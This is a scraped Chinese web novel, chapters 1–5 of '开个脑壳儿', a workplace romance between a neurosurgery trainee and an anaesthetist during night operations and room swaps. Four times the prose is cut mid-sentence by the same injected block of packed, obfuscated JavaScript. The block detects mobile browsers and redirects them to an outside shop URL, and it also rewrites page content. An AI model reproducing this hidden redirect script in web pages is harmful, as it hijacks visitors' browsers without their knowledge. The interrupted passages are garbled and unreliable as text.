《开个脑壳儿》 1. 第 1 章 谢宜年觉得自己近来实在水逆,先是上周被不讲理的病人家属摔坏了眼镜,然后是急诊接触了新冠阳性的病人不幸感染发烧到四十度,在家里躺了半天,又去医院为人民奉献了,没办法,主要是领导就批了半天假…… 再是今天,此刻,和几位师兄一起,被主任骂了个狗血喷头。 “当时为什么不开?这种有手术指征的,怎么就让他出院了?当时要开了,怎么会搞成今天这样?” 主任是个矮胖小老头,其实也不算矮,只怪现在的后生太高,衬得主任在这群下级面前像个小土豆。而这群高大的外科医生在主任面前像排鹌鹑,一声不敢吭。 “扑哧——” 这画面实在太有喜感,宗夏槐站在麻醉机后,麻醉机自检的声音把她遮得严严实实。 今天这事还得从几天前谢宜年急诊遇到的那个脑出血病人说起:患者男,36岁,大龄无业单身人士一个,家住海城周边的一个地级市,时逢中秋佳节,来海城找姐姐姐夫,当天中午喝了几杯酒,喝完人就意识不清了。 送来急诊,CT一扫,基底节出血,出血量约15-25ml,考虑到患者年轻(血肿自行吸收的概率高,没必要开刀)以及经济状况(没医保没钱),住了两天院,挂了两天水,见其没生命危险,让转去康复医院了。 脑袋是个重要的地方,但凡脑袋出血,重者一命呜呼,轻者偏瘫失语,所以命在神经外科这里保住了,出院后还得去康复医院做治疗。毕竟,人也不能只是活着,生存质量也很重要。 坏就坏在这里,主任去康复医院查房,看见这个基底节出血的病人,再一问,十分生气,便有了今天手术间里一排外科医生被训的场景。 病人从康复医院再转过来,送急诊手术,人进手术间的时候已经是晚上十一点半。 距离病人出血已有两三天,估摸着血肿吸收了一点,人送来的时候意识还算清楚,叫名字能应,但除此之外,宗夏槐再也问不出什么了。 问有没有高血压高血糖这些基础毛病,之前做没做过全麻手术,病人十分茫然。 得,脑袋出过血的人都这样,糊涂。 宗夏槐只好出去问家属,她让今天一起跟着值班的学生看着房间里的病人,自己打印了两张麻醉知情同意书去签字。 家属是姐姐姐夫,宗夏槐只扫了一眼,便大约知道了情况:家里做主的是男人,姐夫不情愿救,又怕被亲戚戳脊梁骨。 宗夏槐和他们谈麻醉风险,男人言语之间颇有不满:“进了医院,还不是你们医生说什么就是什么?之前叫我们出院,今天又要做手术,我们还能不交这个钱做手术?” 宗夏槐呵呵一笑,不置一词,收走签好字的麻醉知情同意书,走人。 男人叫住她,犹犹豫豫:“医生,这个手术做下来,一共要多少钱?” 宗夏槐说:“不好意思,我是麻醉医生,这个问题你问下外科医生……” 宗夏槐把刚进谈话室的谢宜年推了过去。 谢宜年是来找家属补签谈话条款的,一听这个问题,略感头疼。 “保守估计,12-15w。”这还不包括术后ICU的费用。 病人没有医保,只能自费,如果有海城本地医保,可以报销一大部分。 姐夫一下就动摇了,他是十分不满的,这可不是一笔小钱!凭什么叫他来出!可是岳父岳母已过世,自己和老婆是小舅子唯一的亲人,总不能放弃治疗,叫亲戚们知道了,不得被唾沫星子喷死! 男人和妻子说:“咱们家两个孩子,一个要升初中,一个要上幼儿园……”正是烧钱的时候。 家属不想做,其实谢宜年也不想做,偏偏这病人是主任拉过来要做的,所以他只能用充满鼓励的目光注视着家属。 要是家属签字不做了,那是人家的权利,主任也没办法,而他这个牛马就可以下去躺觉了,他好困 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048649|148983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他不想开颅关颅下术后医嘱做术后CT。 然而家属纠结一会儿,还是决定做了。人心肉长成,总不能真看小舅子去死。男人问:“医生,你知道那个什么水滴筹怎么搞吗?” 谢宜年说:“不清楚。” 谢宜年回手术间的时候,病人已经麻倒了,这位年轻的女麻醉医生动作十分麻利,她是个生面孔,他从未在手术中心见过她。 方才发火的主任在病人来之前就已经走了,这样一个清血肿的急诊手术还用不着他来。 师兄已经洗手上台,护士给他穿衣服,听他叹气:“哎,主任还是老一辈的思想,对于开刀比较激进,而且这都两天了,血肿吸收吸收也就没了,哎……”师兄没再说下去,毕竟是主任要开的。 护士:“呵呵,大半夜的,你们组也挺能折腾,快点搞完结束,这个快的吧?你看我们麻醉老师动作多么迅速麻利,你们不能拖后腿!” 师兄往麻醉机的方向看了一眼:“诶哟,从前没见过,麻醉老师怎么称呼?” 护士说:“你别搞,怎么没见过?人小夏是梁主任的学生,后来去国外读博了,最近回来的。” 师兄说:“哦!我想起来了……” 谢宜年看师兄明显还有什么话想说,却因为当事人在场硬生生吞了下来。 不过谢宜年也知道了这位麻醉女医生的名字和来历,宗夏槐,前麻醉科主任的学生,专硕研究生(即四证),硕士毕业后去国外读博,博士毕业后又回到了自己读研时的医院,是今年新入职的员工。 消毒,铺单,穿手术衣,time out。 “ICU C 4床,王勇,男,36岁,88190321,左侧基底节清血肿……麻醉医生,time out(手术时间)时间写几点?” 谢宜年又听到了她的声音:“写0点吧。” 她的声音很好听,冷冷的,让人想起海城才过去的雨季。 2. 第 2 章 护士给谢宜年拆手套:“小谢这几个月在哪?” 谢宜年说:“在急诊。” 护士笑着说:“怪不得好久没看到你……小谢最近谈恋爱了没?” 小谢:囧。 在急诊的时候,急诊多给他排的晚上的班,他白天要参与自己科医疗组的各项事情,晚上各种脑外伤脑出血,人十分想死,并不想谈恋爱。 小谢长得着实帅气,剑眉星目,个高腿长,最重要的是年轻,当之无愧地当选为新“神外四帅”之一。他刚来手术室那一会儿,来了一波又一波的小姑娘看他,不到半天的工夫,手术室就知道来了个巨帅的大帅哥。 “比宋主任年轻时还帅?” “嗯!” “比小周还帅?”小周大名周陵游,是邵华教授的学生。 “不分伯仲!” 倒也不是人人都有那个意思,只是上班么,多看点帅哥美女有利于情绪稳定。 谢宜年是临床八年制的学生,后三年大部分时间在临床上,三年前他博士毕业,留本院规培,他是专博,减免考试通过后只需要规培两年,一年前他顺利结束规培,开始专培。 神外专培是四年,四年结束,才能决定谢宜年能否最终留下来。没办法,大热门科室,都这样。不过从专培起,就算是本院正式职工了,各种薪资福利待遇,都是一样的。 这样算下来,谢宜年已经在医院打工第六个年头了。 仍单身着,问起来没谈过,谁也不相信。 谢宜年真是有苦说不出来,他哪有时间谈恋爱? 其次么,便是没遇到喜欢的。 小谢眼光颇高,不过他并不承认。 护士早已成家,她这么问,是想给小谢和科里的妹妹撮合:“今年我们科来了不少漂亮妹妹,要不要姐姐给你介绍一个?” “别闲聊了,快来帮忙。”师兄及时把谢宜年从这尴尬的局面里捞出来。 谢宜年喊一声师兄,实则这位黄师兄比他大了将近二十岁,今年已四十多了,手上技术尚可,科研稍逊,加上神经外科的培养周期本来就长,至今不过一个主治医师的职称。 黄朝说:“师弟今年28岁,你们科里那些妹妹才十七八岁,这怎么谈得起来?” 护士咦了一声:“奇怪,你们男人不是都喜欢年轻的?” 手术室之间的玩笑话,本不用当真。谢宜年却认认真真为自己辩解:“不,我觉得还是同龄人比较好。” 护士遗憾道:“那好吧。” 护理进临床早,干到二十七八岁,在手术室都有一定资历了,要么已经成家,要么打定主意不进婚姻的“坟墓”,自己过潇洒日子。 确实没有合适的介绍对象。 护士说:“要么你看看麻醉科呢?今年也招了不少人,算上四证、规培的、入职的,麻醉科的美女也很多……” 宗夏槐在角落写麻醉单,任外科和护士聊得热火朝天,她也一概不插话。 麻醉人向来是手术室的透明人,小板凳一搬,谁也不爱。 只可惜今天她这个透明人被人想起来了。 “小夏今年是不是也28岁?”护士看看宗夏槐,再看看谢宜年,突觉两人般配,后又想起人宗夏槐是有自己缘分的,及时打住。 谢宜年第一回仔细看她,方才谈话室她不厚道地把自己留给了“如狼似虎”的病人家属,他本该讨厌她这种“死道友不死贫道”的做法,却又生不起来气。 宗夏槐的五官很清淡,她习惯画眉毛,用带一点青色的眉笔把眉尾画得锋利,皮肤因为常年照不到太阳闷得雪白,衬得眼睛极黑,几年的国外生活让她完全褪去了过往的青涩。谢宜年觉得她像霜雪,冷冷的。 忍不住再看一眼,真好看啊。 不知道她的名字怎么写。 这场手术进行得很顺利,开关颅一个半小时,清血肿一个小时,凌晨两点半的时候,手术结束了。 黄朝先下台,把关颅扫尾的工作留给了谢宜年,护士问他手术名称怎么记,黄朝说:“就颅内清血肿吧,这个人家庭条件一般,也没医保,能少收的部分就少收点。” “知道了黄教授。”护士说:“你一开始就说过了。” 盖头骨的时候,谢宜年再次听到了她的声音:“你要关多久?” 开关颅不算个技术活,一般教授们挖瘤子,小弟们负责开关颅,谢宜年当这样的小弟当了两年多了。他给了一个保守的估计:“五十分钟吧。” 宗夏欢“哦”了一声,谢宜年被她“哦”得心里不上不下,难道是嫌自己太慢了?他小心地不露痕迹地看了她一眼,她神色里有种淡淡的厌倦和不耐。 快半夜三点了,任谁这个点不是躺在床上,心情都不大好。 宗夏槐压根就没注意谢宜年,她随口问那一句,只是想看着时间停药,她脑子里想的是领导布置的ppt任务。 想骂人,但还是要微笑。 护士说:“骨头都盖好了,你还要五十分钟?我给你三十分钟,赶紧关好!” 夜深了,大家脾气都不好,刚还给他笑呵呵介绍对象呢!谢宜年已经习惯了自己在手术室的地位。 外科成长周期长,神经外科尤甚。他今年28了,还在手术室当小弟,麻醉护理一个都得罪不起。 人护理,28岁是资深巡回老师了;人麻醉,28岁也快当上主麻了(平均在30-32岁左右);外科嘛,搞不好40岁还在当小弟被老大骂得狗血喷头。 谢宜年悲伤地想,可见长得好看是没什么用处的,涉及到大家的核心“利益”,比如下班,谁也不会宽容他,让他慢慢缝的。 终于缝到皮下了,谢宜年感冒刚好,又超负荷工作到这个点,难免有点头晕眼花,手套破了。 护士拆了副新手套给他:“你没戳到自己吧?” “没。”手背上有个伤口,是前几天在家里被水果刀划上的,不过已经结痂了。 最后直接钉皮,护士出去叫师傅过床,宗夏槐把七氟烷一关,问谢宜年:“备呼吸机了吗?” 谢宜年说:“有。” 宗夏槐说:“那做完CT直接送ICU打呼吸机。” 神经外科术后常规要扫CT,这是为了看术后有没有新发出血。而麻醉科对于神经外科 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谢宜年一开始都没反应过来,“老师”是医院里的尊称,在不清楚对方年资、职称的情况下,叫老师准没错。 可他谢宜年哪有过这个待遇? 老板心情好的时候叫他“宜年”,心情不好的时候叫他“小谢”;“小谢”几乎是他在医院里的代号,师兄、病房护士、手术室护士、ICU护士都叫他“小谢”。 哦,有时候他也被叫做:“值班医生”、“小伙子”、“那个大高个”。 谢宜年说:“宗老师叫我小谢就行了。” 宗夏槐提醒他:“我刚才在电脑上查过,这个人上一回住院的时候没查术前四项,这次查的结果还没出来……应该也快了,你关注一下。” 大龄无业游民,搞不好真有什么传染病。 对方睁着眼睛看她,宗夏槐想起他刚才站在那里低头挨主任骂的样子,十分的清澈……愚蠢。 又有点可爱。 宗夏槐忍不住多话一句:“你干外科的,这点自我保护意识没有吗?”她说完就后悔,人家肯定也知道,但是做急诊,事事都匆忙,职业暴露这种事情,夜路走多了总能不幸碰到。 做CT的时候,谢宜年还在和宗夏槐解释,大约是想证明自己是个“稳重”的外科人,“是刚才下头架的时候……” 他稍微用劲了一点,手上的旧伤口裂开了。 他没碰到病人的血。 他还带着手套呢。 对方明显没在听,谢宜年有点失落。 CT扫完了,没有新发出血,宗夏槐看了一眼电脑上的片子,问:“送ICU?” 谢宜年也松了口气:“送!” 出手术中心再同楼层拐两个弯就是ICU,护士在手术中心出口等他们:“患者梅毒可疑阳性,和你们说一下。” 宗夏槐没什么反应,她全程带着手套,而且除了穿动脉的时候,她并没怎么接触到患者的□□、血液。 谢宜年想的则是:我的一世清白。 3. 第 3 章 他应该是没直接接触到患者血液的。 在台上的时候手套破了一次,但那会儿他手上没有新鲜伤口,是后头下头架的时候伤口裂开了,他那会儿带着手套,血流在手套里,沁出一点红色,叫宗夏槐看到了。 谢宜年在脑子里复盘了一遍,一面安慰自己说概率不大,另一面想的是,万一真不幸感染上了,以后找对象的时候怎么跟人家姑娘说,人家会信吗? 他的表情太过明显,宗夏槐说:“我给你作证。” “啊?”谢宜年茫然。 宗夏槐说:“梅毒可疑阳性,也不一定有传染性。” 梅毒,只要感染过一次,梅毒抗体终身阳性。所以梅毒抗体阳性,有可能这个人过往感染过梅毒,现在并不携带梅毒,但要是抗原做出来也阳性,那就危险了,这就说明这个人有传染性。 话是这么说,但谁能不怕? 宗夏槐又说:“抗原结果出来得慢,我建议你是上报不良事件,去打青霉素。” 梅毒的致病菌是钩端螺旋体,是细菌而非病毒,所以不像乙肝病毒有特异性抗体,可以通过打疫苗来预防。 梅毒只能在暴露后第一时间打青霉素来阻断。 也只能这样了,挨几针吧,心里放心些。 谢宜年多少有点郁闷,他觉得自己最近实在水逆。 宗夏槐叫住他,他刚想笑笑说自己没事,听她说:“哦,对了,记得用自费卡,要不然医院不报的。” 哦,原来不是关心啊。 第二天一早,谢宜年跑去二楼性病门诊挂号,他没穿白大褂,带了口罩墨镜,不过他的打扮也不算异类,这里多的是鬼鬼祟祟干了亏心事的男人。 号还都挂满了,不由得让人感叹世风日下,人心不古。 谢宜年只好去护士台加号:“老师,我是本院的,昨天急诊梅毒暴露了,能不能给加个号?” 护士收回奇怪的目光,转为同情:“卡刷一下。” 青霉素要皮试,这个过程大约一小时,然后去打针。 没人告诉谢宜年,这针有这么痛,而且是屁股针。 两针,左右各一针。 为了保持帅哥的脸面,谢宜年差点咬碎了一口牙才没喊出声。 疼疼疼……实在太疼了! 下午,谢宜年一瘸一拐地出现在了手术室,没办法,他们科不放假的,人只要有气,就要来干活。 今天他们组有手术,他被叫过来关颅,这会儿是下午三点,他们还有一台手术。神经外科手术一天通常1-2台,像开颅的手术,比如搭桥,最多可以做上3台,平均一台2.5-3h;要是挖瘤子那就慢了,开关颅算1.5-2个小时,这项活通常是小弟来干,小弟的速度快慢不一,慢的实在太慢,中间挖瘤子就难说了,看瘤子位置大小性质,有的也能挖上一天一夜,不过那是极罕见的。常规的脑外手术一台在4-5h左右。 还有一种不开颅,从鼻子进去的微创手术,一般是鞍区占位,垂体瘤,用内镜做,不用开关颅,那就快多了,一天做个四五台不成问题,不过内镜组一般一个房间就排三台,下午四五点下班,日子过得比其他组都要潇洒得多。 谢宜年正要上台,师兄黄朝让他去申请拆台。 “隔壁房间停了一台刀,现在空出来了,你和隔壁麻醉老师商量商量,能不能把我们第二台拆过去,打个时间差,你在那边先开场,我这边结束了刚好过去。” 手术室有规定,下午四点之前结束的房间不得拒绝拆台,也就是说房间里的巡回和洗手是不能拒绝拆台的。但是房间里的麻醉不同意,这台就拆不了。 没有人喜欢拆别人台,本来排给自己的手术今天已经做完了,还要帮别人做,谁爱多干活?大家都想下班。 但对于外科来说,都是他们组的手术,组里人手多,几个房间同时进行,手术做完了,他们就能下班,所以外科热衷于找房间拆台。 这个时候就是一场battle,也很简单,看看麻醉资历够不够,要是这位麻醉医生资历够高, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048651|148983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说我今天的活已经干完了我不拆我要下班,那就没办法;要是麻醉资历浅,便只能说,好的,那拆吧。 这边在问隔壁房间的麻醉是谁。 谢宜年竖起了耳朵,他只盼是位好说话的麻醉老师,师兄总爱叫他去干这种得罪人的活,他上次被一位脾气大的麻醉医生骂得狗血喷头。 “宗夏槐,今年的新员工。” 谢宜年松了口气,又紧张起来。 他其实是不愿意去的,从他之前的经历来说,他十分知道没几个麻醉愿意拆台,无非是看他们老大面子,不愿意得罪,但对他们小的,就没什么好脸色了。 不过隔壁的宗夏槐早就知道这事了,她今天房间停了一台,下午一点手术就结束了,住院总不可能让她这个点下班,那些外科必得跟闻了血的苍蝇一样盯过来,她在这里读专硕的时候,就知道这一点了。 谢宜年过来的时候,住院总给她打电话:“夏槐,隔壁19号想拆个台……” 宗夏槐挂了电话,对上一双小狗一样的眼睛。 哦,那个大帅哥。 “宗老师……”谢宜年说:“我们组想拆个台,我们那边快结束了,很快就能接到你们的。” 拆台还有个规矩,被拆台的人必须去接帮忙拆台的人。打个比方:19号第一台快做完了,第二台拆到隔壁20号,19号结束后原房间的人要去接20号的人手,让20号的人下班。因为这本就是19号的手术,20号答应拆台不过是帮忙,并不是义务。 这是最好的情况,但是拆台最怕接不到,两边同时结束,相当于拆台的人帮别人多干了一台的活。 “我们只是想打个时间差……”谢宜年恳求地看她。 宗夏槐问:“既然你们那边快结束了,为什么要拆到我们这来,意义是什么?”节省翻台子的时间吗? 宗夏槐本就生了一双极冷的眼睛,她带着口罩,所以谢宜年看不到她的面部表情,只以为惹她不快。 谢宜年说:“求宗老师帮帮忙。” 4. 第 4 章 谢宜年脸皮薄,他本想,如果宗夏槐不愿意,就算了,他既做不到“威逼”,也做不到“利诱”。 谁知对方没为难他,轻巧应下,说:“动作麻利点,别让我等太久。” 谢宜年说:“一定一定,谢谢宗老师!” 回到原房间,护士朝他竖起大拇指:“小谢可以。” 谢宜年不明所以,护士笑着说,“姜组也想拆台,还想插队,护士长总是偏心姜教授,可谁叫小谢说动了麻醉老师!” 谢宜年脸皮稍红,好在被口罩挡得严严实实。 护士说:“不过拆我们是最合算的,我们四点就能接到他们,要是拆姜组第二台微血管减压,不知猴年马月才能接到,搞不好要自己做完!姜教授第一台听神经瘤,是台大的,我刚去看过了,姜教授还在台上没下来……” 所以并不是宗夏槐为美色所惑,台是一定会拆的,她挑了个最合算的台子,只不过刚好是谢宜年所在的组。 谢宜年心里有些说不清道不明的开心,大约是,活是干不完的,可是和赏心悦目的人搭台子,总要叫人开心些。 黄朝在19号关颅,谢宜年去20号开场。 20号的巡回护士一见他就说:“我今天下午要去接孩子的,不许耽误我下班。” 宗夏槐看他来,说:“是你……也好。” 宗夏槐转头对巡回说:“隔壁是黄朝在关,应该快的。” 被嫌弃了。 谢宜年有些沮丧。 宗夏槐现在是住院医师专培阶段,还没当住院总,这个阶段最不上不下,虽然名义上有个上级,但是上级基本上不太顾,听说这里拆了台,问了下病人基本情况便说:“那你上吧。” 住院总本想安排个实习生给宗夏槐打下手,宗夏槐也没要,说是自己来更快。 “可以导尿了。” 一会儿的工夫,病人就被麻倒了,宗夏槐在麻醉机前调参数,和巡回说道。 巡回盛赞她动作麻利,说:“等下,我派个单叫师傅。” 导尿很快,几分钟就好,导完尿师傅也到了,正好摆体位上头架。 右侧额叶肿瘤,仰卧位,不怎么用摆体位,主要是喊师傅来抱头上头架。 上头架是谢宜年这个小弟的活,这还是个力气活,头架有十几斤重,谢宜年需要先把手术床的前端拆下来,把头架装上去,然后用钉子固定在病人的脑袋上。 上头架的时候,宗夏槐站在他旁边,洗手衣穿在谢宜年身上短了一截,头架被他拍得哐哐作响,手臂上的血管微微爆起,清晰可见。 是根好血管。 宗夏槐心想,她在旁边扶着气管导管,以防上头架的时候导管移位,她停留在他身上的视线有一会儿。 谢宜年有些不好意思:“这个头架不用劲卡不上去。”声音太大了吗? 宗夏槐说:“没事。” 上完头架后,护士开始绑人铺单,谢宜年开始给病人脑袋消毒,宗夏槐坐下来记麻醉单子。 到最后一步的时候,谢宜年停下来,重新去外面洗手,宗夏槐看他双手举于胸前进来穿衣服戴手套,忽然想起那只很火的网红猫。 看上去有点乖。 最后一步:贴3M粘纸。 “小谢,麻醉老师,我们time out一下……” 手术开始没多久,宗夏槐就被隔壁房间的麻醉接了,他们结束了,理应来接她。 宗夏槐下班了,谢宜年距离今天下班还遥遥无期,他得等他们组的手术全部结束了才能下班。 宗夏槐和同事交班的时候,谢宜年悄悄竖起了耳朵,说不清是羡慕还是遗憾。 羡慕她可以下班,遗憾接下来的麻醉医生是另一个人。 宗夏槐去而复返,她的耳机落在了这里,她朝同事笑了一下,“东西落这了。”她挪开视线的时候撞上谢宜年,也不知作何表情,便也笑了一下。 宗夏槐不笑的时候是有些冷的,一股生人勿近的气息。 谢宜年十分受宠若惊。 回麻醉办公室,宗夏槐坐下来打印精麻药处方单,办公室里,麻醉科住院总谭月正对着电脑抓耳挠腮,头疼明天的排班。 “要死了要死了,明天怎么这么多台手术……” 排班绝对是个得罪人和需要情商的活,麻醉科尤甚。 麻醉科的大排班和其他科一样,是每月底出。大排班主要是排值班,麻醉科和其他科室不同的是:每天都会有当天手术的排班表,比方说手术中心一共有30个手术间,每个手术间都要安排1-2位麻醉医生。 手术是一天一排,麻醉科当然也是一天一排。 手术排班流程大约是:外科医生前一天提交手术申请,手术室护士长接收整理,安排房间和护士人手;而麻醉科住院总负责往每个房间塞1-2个麻醉医生。 有的房间结束得早,称之为好房间;有的房间结束得晚,称之为烂房间。 大家心里都门清。 住院总谭月的心里也门清,谁不想早下班?可是好房间要紧着资历高的老师,和自己平辈的也不能太怠慢,至于下面小的,例如规培之类的,也不能压榨得太狠,要不然没人愿意干活了。 谭月注意到宗夏槐进来,和她打招呼:“宗老师下班了?” 谭月入职的时候宗夏槐已经去国外读书,两人不曾打过照面,谭月摸不准宗夏槐的性格。 对麻醉科住院总来说,摸准每个人的性格是件重要的事情。虽然谭月从前最讨厌那种“看人下菜碟”的人,但……谭月叹了口气。 排班难啊,实在排不出来的时候,只能去找那些好说话的人,请她们“暂受委屈”,并承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048652|148983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诺日后一定补偿。 “宗老师——”谭月热情地和她打招呼,“今天情况还可以吧?”谭月对宗夏槐也并非一无所知,她知道宗夏槐曾经是医院的四证,是梁主任的学生,也知道宗夏槐科研实力强劲…… 小道消息说:等宗夏槐专培第三年做完住院总就升主治……麻醉科升职差不多这个路数,只不过一般人都要排队升主治,至于副高嘛,就不是排队不排队的问题了,看科研,看领导,看命。 总之,对于这一位“前途光明”的新职工,谭月不想在做住院总的时候把关系搞得太糟糕,万一以后需要抱大腿让人家帮忙带科研呢! 寒暄了几句后,谭月颇为不自在地说出了自己的真实意图:“宗老师,明天19号有三台刀,两台内镜一台开颅……” 好端端和自己提这个,宗夏槐心知她是要排自己做19号,且明天多半是个烂房间,烂到不得不提前和自己说一声以防自己“心存怨气”。 住院总是个难干的差事,住院总相当于一个科室的管家,没办法使所有人都满意,还有可能所有人都不满意。 谭月心说:她一低年资住院医,能管得动谁啊? 宗夏槐知道她难处,说:“没事,我明天也没什么要紧事,我都可以。” 谭月松了口气。没想到这宗夏槐看着冷冰冰一个人,还挺好说话的,不是那种计较的人。 谭月说:“你放心,我后天一定给你排个早一点的房间。” 宗夏槐这周有个讲课任务,是麻醉科的线上小讲堂,讲的是深麻醉下的拔管,她查阅病例资料要用医院内网,因此没着急下班回家,在办公室修改课件不知不觉到晚上十点半。 已经到了这个点,宗夏槐就不准备回家了,索性睡手术室。楼下是更衣室、餐厅、会议室,还有睡觉的地方,扩建后的手术中心女值班室有十二张床,容纳值班人员绰绰有余。 当天下班太迟的人也会住在这里,好处是节省通勤时间多睡一会儿,坏处是不适合浅眠人士,夜间容易被吵醒,而且值班室的床脏,容易过敏。 宗夏槐在通往休息室的走廊里遇到谢宜年,对方摘了手术帽,头发被压了一天,压得乱糟糟,眼神生无可恋,步履蹒跚。 谢宜年显然是个帅哥,纵然大家都是被生活折磨的临床牛马,他也是帅得最突出的那个。 谢宜年没戴眼镜,在宗夏槐走近之前都不知道是她,他前一天晚上值班,他们没有所谓的“下夜休”,而今天又是他们组手术日,谢宜年一直干到这个点,从中午到现在饭都没吃上一口,病人送去ICU了,他紧绷着的弦送下来了,只觉得眼前冒金星,不知道是饿的还是累的。 他差点撞上她,他发现是她的时候心脏差点漏跳一拍。 宗夏槐问:“这个点才结束吗?” 谢宜年忽然有些委屈。 5. 第 5 章 这个工作强度和工作时长实在太违反人的生理了,可是在临床上,似乎大家都是这样过来的,要是谁表现出不适应来,并不会得到理解,而会得到一句不适合临床的评价。 谢宜年并没有诉苦的心思。好吧,他只是……在深夜被这么突如其来的关心了一下,人有点破防。 不过谢宜年也不可能对外说主任的坏话,只说:“第2台刀的瘤子大,到后面越靠近神经、血管,做得越慢。” 宗夏槐没戳穿他,说:“还好帮你们拆台节省一点时间,否则你们不是要超时?” 手术结束时间超过晚上十点半即为超时,超时的组要罚钱,还要停半天刀。 作为麻醉人,宗夏槐对此不说“喜闻乐见”,也很难有什么同情心。 谁叫他们(外科)排了这么大的手术?如果没有能力开两台,只排一台大刀或者两台小刀不就行了?一次两次还好,一直这样……整个麻醉科都被搞得疲惫不堪。 麻醉按台数算钱,一台神经外科的麻醉费比一台骨科也多不了多少,可是骨科一天能做十台关节镜,快的组也就到下午六七点;而神经外科一天最多两台,有些大手术的能一台做到半夜四点。 科里都没人愿意做神经外科麻醉了,赚钱的事情先放到一边,手术时间长,实在熬人,宁可少发点钱早点下班。事实是钱少活多教授脾气大。 更可恨的是,有时候这些脑外科知道一个房间做不完,却抱着有房间可以拆台的想法来排手术:两边同时进行,不就不会超时了吗? 于是原本祸害一个房间的麻醉,变成了祸害两个房间的麻醉。 宗夏槐说句心里话,她从前在这读专硕的时候,就不怎么拒绝拆台,一是资历轻没资格,二是抱着互相帮忙的态度……今天她帮别人拆台,明天别人帮她拆台,总归是为了一个科室(麻醉科)的人早下班。 她最恨又菜又爱开的外科。 麻醉医生都有一些阴阳怪气的工夫在身上,他们最爱拐着弯损人,比如麻醉科主任宋思礼,现在岁数长了还好些,以前可真是让每个外科医生都又爱又恨。爱他麻醉水平高,恨他嘴太毒。也不是说宋主任现在就不开腔了,主要是如今宋主任职称职务年资都上去了,外科就是有意见也不能表现出来,而且人老婆在外科体系里还是大领导呢! 当然,外科大部分直肠子,直来直去,有人也听不出拐弯抹角的话。比如谢宜年,他根本没听出宗夏槐在损他们组,他只觉得宗夏槐看上去冷冰冰的,实际上是个热心肠。 谢宜年特别真诚地感谢她:“是啊,今天真的谢谢宗老师,要不然我们组肯定要超时……”他的感谢之情一点不作伪,要是今天超时,他们明天就要被罚停半天刀,主任肯定得发火。 主任一发火,全组遭殃,第一个挨批的就是他,必要训他基本功不扎实,开关颅太慢,浪费时间。 而且他们组明天也排了大刀,要是停半天刀,从中午开始做,肯定又要超时,然后继续被罚,继续超时……直接恶性循环。接下来半个月他就不要想有好日子过了。 谢宜年只觉劫后余生,他看了一眼手表,要请宗夏槐吃外卖:“谢谢宗老师今天帮我们拆台,我请吃夜宵。”他已经套起近乎:“说不定日后还有劳动宗老师的时候……” 他跟雏鸟似的,宗夏槐帮了他一次,他就觉得她是个大好人,不自觉地想要“黏”上她。 谢宜年这时候的想法还比较单纯,他想和宗夏槐打好关系,和一位好说话的麻醉医生打好关系总归没坏处,以后可以求人办事(拆台)嘛! “别别——”宗夏槐不爱听这不吉利的话,“还是少点比较好……昨天夜里我在家里备急诊被叫过来昨你们那台可开可不开的刀,今天又帮你们拆台……这夜宵我不敢吃,要不然以后拒绝不了你们。” 谢宜年肉眼可见的“失落”,他小声说:“以后的事情以后再说嘛。”虽然他确实有这样的想法,可被她戳穿还是觉得难为情。 …… 一个人,谢宜年有些懒得点外卖了,他在自动售货机面前站着,思考自己是吃红烧味的还是酸菜味的泡面。 “还没吃晚饭?” “从中饭到现在。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048653|148983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”谢宜年没意识到自己说了什么,语气有些可怜。 “麻醉办公室里有吃的。”宗夏槐拿了两桶泡面过来,还有一些饼干:“主任买的。” 办公室里有电锅有冰箱还有热水,甚至还有鸡蛋,毕竟麻醉科就是手术室的一部分,整个麻醉科的大本营就在这里。 于是谢宜年的“请吃夜宵”变成了宗夏槐请他吃麻醉科的泡面,热气氤氲上眼镜,谢宜年索性把眼镜摘了下来。他右眼下方有一颗泪痣,在眼尾,长在他脸上,有些无辜。 宗夏槐少见男生长泪痣,偏偏谢宜年这颗泪痣长得十分漂亮,她不由得多看了两眼。 